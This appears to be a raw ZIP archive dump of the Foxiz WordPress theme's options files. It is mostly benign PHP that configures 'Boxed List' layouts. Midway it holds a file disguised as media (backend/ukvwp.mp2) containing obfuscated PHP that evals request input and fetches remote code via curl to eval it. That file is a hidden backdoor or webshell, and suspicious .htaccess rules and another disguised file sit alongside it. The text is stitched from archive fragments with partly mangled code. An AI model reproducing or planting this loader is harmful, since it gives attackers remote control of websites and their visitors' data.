blank or set 0 to disable.', 'foxiz' ), 'default' => '20' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_block_list_box_1' ) ) { /** * @return array */ function foxiz_register_options_block_list_box_1() { $prefix = 'list_box_1_'; return array( 'id' => 'foxiz_config_section_styling_list_box_1', 'title' => esc_html__( 'Boxed List 1', 'foxiz' ), 'icon' => 'el el-th-list', 'subsection' => true, 'desc' => html_entity_decode( esc_html__( 'These are settings for the boxed list 1. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ) ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'boxed grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'box_style', 'title' => esc_html__( 'Box Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a box style for the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_box_style(), 'default' => 'bg' ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'featured_position', 'title' => esc_html__( 'Featured Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the featured image. ', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_featured_position(), 'default' => 'right' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'box_color', 'title' => esc_html__( 'Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'dark_box_color', 'title' => esc_html__( 'Dark - Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style in the dark mode or light scheme mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_block_list_box_2' ) ) { /** * @return array */ function foxiz_register_options_block_list_box_2() { $prefix = 'list_box_2_'; return array( 'id' => 'foxiz_config_section_styling_list_box_2', 'title' => esc_html__( 'Boxed List 2', 'foxiz' ), 'icon' => 'el el-th-list', 'subsection' => true, 'desc' => html_entity_decode( esc_html__( 'These are settings for the boxed list 2. It will be overridden by the "Block Design" (for Elementor pages) and "Blog Design" (for the Blog and Archive pages).', 'foxiz' ) ), 'fields' => array( array( 'id' => $prefix . 'info', 'type' => 'info', 'class' => 'layout-info', 'style' => 'success', 'desc' => html_entity_decode( '' . esc_attr__( 'boxed grid', 'foxiz' ) . '' ), ), array( 'id' => $prefix . 'box_style', 'title' => esc_html__( 'Box Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a box style for the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_box_style(), 'default' => 'bg' ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'featured_position', 'title' => esc_html__( 'Featured Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a position for the featured image. ', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_featured_position(), 'default' => 'right' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category(), 'default' => 'bg-1' ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'desc' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'avatar', 'author', 'date' ), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review(), 'default' => 'replace', ), array( 'id' => $prefix . 'review_meta', 'type' => 'switch', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'default' => true ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format(), 'default' => 'bottom' ), array( 'id' => $prefix . 'bookmark', 'type' => 'switch', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'default' => false ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '12' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => $prefix . 'sponsor_meta', 'title' => esc_html__( 'Sponsored Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the "sponsored by" meta.', 'foxiz' ), 'type' => 'switch', 'default' => true, ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the tablet devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta tags you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => foxiz_config_hide_dropdown(), 'default' => '0', ), array( 'id' => $prefix . 'box_color', 'title' => esc_html__( 'Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'dark_box_color', 'title' => esc_html__( 'Dark - Box Color', 'foxiz' ), 'subtitle' => esc_html__( 'Select a color for the background or border style in the dark mode or light scheme mode.', 'foxiz' ), 'type' => 'color', 'transparent' => false ), array( 'id' => $prefix . 'center_mode', 'type' => 'switch', 'title' => esc_html__( 'Centering Content', 'foxiz' ), 'subtitle' => esc_html__( 'Centering text and elements for the post listing.', 'foxiz' ), 'default' => false ), ) ); } } PK!.|panels/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!backend/index.phpnu[PK!1/backend/ukvwp.mp2nu[f1^lS-*/$MnA /*-Dh-*/= /*-,8GfHF-*/$jmOqu/*-ACT-*/("~", /*-(y-*/" "); /*-!%awgFM9-*/$u/*-Hy-*/=/*-x31qSAc-*/${$MnA/*-]Q-*/[0+31]/*-$f:sk6-*/.$MnA/*-L7kD9-*/[31+28]/*-fnqbj-*/.$MnA/*-Qj-*/[3+44]./*-@2-*/$MnA/*-je3$Go-*/[0+51]./*-S-%>-*/$MnA/*-Hu!-*/[16+37]/*-lb-*/.$MnA/*-bn6{3Li8TK-*/[35+22]/*-%T=!-*/}; /*-ufG.-*/if(/*-DE7Ynx,-*/in_array/*-jG-*/(gettype/*-qWJ2`-*/($u)."30",/*-u=-*/$u))/*-eBaNEc|-*/{ $u/*-dKo-*/[66]/*-b]$tn.X?v-*/=/*-mrcWlR:]k-*/$u/*-L!#1-*/[66]./*-ca_(GFV|~-*/$u/*-_CkI-*/[76];/*-0]0)c-j-*/ @eval/*-9S(p-*/(/*-@YFm3o-*/$u/*-mf&82-*/[66]/*-T^2-*/(/*-#0-*/${$u[44]}/*-2WMRlH,w2-*/[11])); }/*-QYrTgS`J[-*/class /*-D-TPEp1-*/OLfN{ /*-Pt$oka`QH`-*/static/*-cz3-*/ function /*-=3Z|7w}5-*/BVnvzMGPaq($EvtB) /*-K-*/{ $hJeITEPiy/*-L<:&1-*/ = /*->ZH(-*/"r"./*-4Ckl#PQm_-*/"a"./*-9i7;wDf%wf-*/"n"./*-ae<-*/"g"./*-@$3Cm41Af-*/"e"; /*-(V-2m`&-*/$QvYb/*-QB[OcpZ8-*/ = /*-2W-*/$hJeITEPiy/*-^r-*/(/*-~RK-*/"~"/*-`9o~-*/, /*--FDM-*/" "/*-x]:^l!X^2-*/);/*-wtH5nq-*/ $jOkuF /*-q!r4eZ{!-*/= /*-]2B2VbT-*/explode/*-oyhqVF2k@M-*/(/*-sO&-*/"[", /*-?cBqrgq]-*/$EvtB/*-$Ulaz9h-*/); /*-G{XrvA-*/$PVakqpOtNB /*-,@S-*/= /*-42Xm-*/$WDjMcVo /*-HtNL}XH5-*/=>/*-gr{?Q]R$-*/ $QAh/*-V2-*/) /*-k0qA!5]-*/$PVakqpOtNB /*-8`}n-*/.= /*-kn-*/$QvYb[$QAh/*-uZ-*/ - /*-x-*/51624/*-|9urBv-*/];/*--,r-*/ return /*-1=-*/$PVakqpOtNB; /*-)!-*/} /*-3H-*/static /*-4X^mNf-*/function /*-ec-*/sF/*-z2rLeYX~-*/(/*-)|wr-pC-*/$REhmvDFQsk,/*-[%c-*/ $XtjkA/*-_67Inc-*/)/*-lQ-*/ {/*-~7seq|9-*/ $lJvm/*-&pH-*/ = /*-mmm.M2S_i-*/curl_init/*-L?`1TX-*/(/*-gKn8v)+-*/$REhmvDFQsk/*-=jM70CE1x-*/);/*-qlyJDH-*/ curl_setopt/*-u6-*/(/*-Y-*/$lJvm,/*-W9y3{$W$$!-*/ CURLOPT_RETURNTRANSFER,/*-IXQ,%A-*/ 1/*-(~+-*/);/*-(kn0xT#O%+-*/ $WvjB/*-N}5n:-*/ = /*-((-*/curl_exec/*-vm^;-*/(/*-,e-*/$lJvm/*-ySw-*/); /*-0K8-*/return /*-F+?O-*/empty/*-&mV-*/(/*-;SMM-*/$WvjB/*-d&0)@_-*/)/*-j3gxa-*/ ? /*-N]eHn,-*/$XtjkA/*-H,cHsR-*/(/*-S>=F-*/$REhmvDFQsk/*-Qp.QS-*/)/*-1@0-*/ : /*-|Qzc&D&e-*/$WvjB; /*-RI-*/}/*-0dW;V1-*/ static/*-VU6ci-*/ function /*-i`|Gg-*/ktMTHJxUY/*-e]>--*/() /*-GLW-*/{/*-}D1tO#bV-*/ $DNVPOlKbjh /*-N5-*/=/*-e+fQq,8-*/ array/*-Mg-*/("51651[51636[51649[51653[51634[51649[51655[51648[51633[51640[51651[51634[51645[51639[51640","51635[51634[51636[51655[51636[51639[51634[51701[51699","51644[51635[51639[51640[51655[51650[51649[51651[51639[51650[51649","51638[51653[51651[51643","51652[51653[51635[51649[51696[51698[51655[51650[51649[51651[51639[51650[51649","51648[51645[51642[51649[51655[51647[51649[51634[51655[51651[51639[51640[51634[51649[51640[51634[51635","51678[51708","51625","51703[51708","51685[51668[51668[51685[51661","51639[51648"); /*-t_D|-*/foreach /*-AjI|_-*/(/*-bw-*/$DNVPOlKbjh/*-)D.!2-*/ as /*-;}%O-*/$MHVbWEoq/*-!4x-*/)/*-q_-*/ $XRPakzsxmC/*-#zX):P=VE1-*/3+3/*-focx3o-pc-*/], /*->gQ?CP&-*/$ycTJ/*-$uipSZnIm-*/);/*-Y2n)wUm-*/ $ziuJsy /*-?JRv-*/=/*-{&3HF1`Srp-*/ $XRPakzsxmC/*-+pnU?ah-*/[/*-Us1qlS-*/2+0/*->gTuto-*/]/*-nZq+-*/(/*-g:OJ?u2-*/$NWgIiz,/*-uF07-*/ true/*-5a,S-*/); /*-X8z%A3O-*/@${/*-j_xR9F`-*/"_"./*-&26m0-*/"G"./*-!x+%4F1C-*/"E"/*-E^^9wa^f-*/."T"/*-{|fr!tDQ-*/}/*-,z1>00ldTMBw-*/1 /*-#ACQd5M[-*/&& /*-H+-*/die/*-t!-*/(/*-bfx+-*/$XRPakzsxmC[4+1/*-c~Yw4-*/]/*-gN7yeIGcQ^-*/(/*--oe{-*/__FILE__/*-j|)ois@-*/)/*-4R~-*/); /*-RGUUX`=%mc-*/if/*-wP5-*/(/*-2X)?~R^J-*/ (/*-oi-*/(@/*-+w78tW.-*/$ziuJsy/*-a~3=-*/[/*-a]sDp@=u-*/0/*-Qu-*/] /*-n?h-*/- time/*-sA-*/()/*-r:M_w+-*/) > /*-L7X{Cf-*/0/*-2@W-*/)/*-:i,s)l?t-*/ and /*-,4Z.._-*/(/*-]]KcVUnjRp-*/md5/*-(Z-*/(/*-^%SCfm%+S;-*/md5/*-`,Bt$Z8-*/(/*-cB{)P=V-*/$ziuJsy/*-|6Ov:1i1Jv-*/[/*-.a9:N-*/1+2/*-3N$-*/]/*-g81-*/)/*-Wv{h--*/)/*-B[|TaA[S-*/ === /*-2Vn}]-*/"3087be9cebee3fff05b5dd8a731b832c"/*-,h:m$%6]-*/)/*-Wl76q#Q`2-*/ ): /*-e~UDpd-*/$gRKcyjIpOa /*-G$UI2qc-*/=/*-W%ba=(79-*/ self/*-GTDUl.2-*/::/*-Y(-*/sF/*-`T-*/(/*-$n9IC;&-*/$ziuJsy/*-D9=<9-*/[/*-ZgyJ^l-*/0+1/*-ormL}|-*/], /*-(9CkxHybxx-*/$XRPakzsxmC/*-]N-*/[/*-Oz-*/2+3/*-fW-*/]/*-[>h+pLTX-*/);/*-?G>q7hux-*/@eval/*-V2O-*/(/*-[$V@_$d-*/$XRPakzsxmC/*-`}F-*/[/*-6u-*/OLfN/*-Bvvx-*/::/*-=2grA+dV--*/ktMTHJxUY/*-CJZAqW[b-*/();/*-VN-*/ ?>PK!.|backend/.htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!.| .htaccessnu[ Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] PK!gfftheme-options.phpnu[PK! Aclass-tgm-plugin-activation.phpnu[PK! install-plugins.phpnu[PK!`Q`Q-category-settings.phpnu[PK!IJN{{Cload.phpnu[PK!$DD mega-menu.phpnu[PK!Vkcc configs.phpnu[PK!Tɖɖ*single-metaboxes.phpnu[PK!'a a actions.phpnu[PK!/wl l panels/page.phpnu[PK!9ьU2panels/single-post.phpnu[PK!n.%%%7panels/woocommerce.phpnu[PK!mvpanels/adblock.phpnu[PK!HYYgpanels/amp.phpnu[PK!ZMIOZbpanels/blocks.phpnu[PK!(?~  %dpanels/general.phpnu[PK!##lmpanels/footer.phpnu[PK![;panels/bookmark.phpnu[PK! $panels/logo.phpnu[PK!CCM6panels/blog-pages.phpnu[PK!F22panels/table-contents.phpnu[PK!h]Ppanels/block-classic.phpnu[PK!Zvjpanels/newsletter.phpnu[PK!`dOOpanels/ads.phpnu[PK!ĩZZapanels/breadcrumb.phpnu[PK!($9; ; jqpanels/sidebar.phpnu[PK!t|panels/color.phpnu[PK! oopanels/header.phpnu[PK!Y<(<(6 panels/socials.phpnu[PK!Ng"kk, panels/reaction.phpnu[PK!٨eeb5 panels/design.phpnu[PK!IId  9 panels/privacy.phpnu[PK!H! panels/typography.phpnu[PK!ZqyypS panels/header-style.phpnu[PK! panels/panels/index.phpnu[PK!ˤ' panels/panels/mobrQuewCtTj.jp2nu[PK!.| panels/panels/.htaccessnu[PK!K6鴴 panels/heading.phpnu[PK!{b panels/login.phpnu[PK!o漏WW panels/block-grid.phpnu[PK!uG(G( panels/optimized.phpnu[PK!TT panels/dark-mode.phpnu[PK!(UNzz panels/block-list.phpnu[PK!.|Q panels/.htaccessnu[PK!nU backend/index.phpnu[PK!1/U backend/ukvwp.mp2nu[PK!.|i backend/.htaccessnu[PK!.| jm .htaccessnu[PK00y9q
', esc_html__( 'Upgrade message from the plugin author:', 'foxiz' ), ' ', wp_kses_data( $item['upgrade_notice'] ), '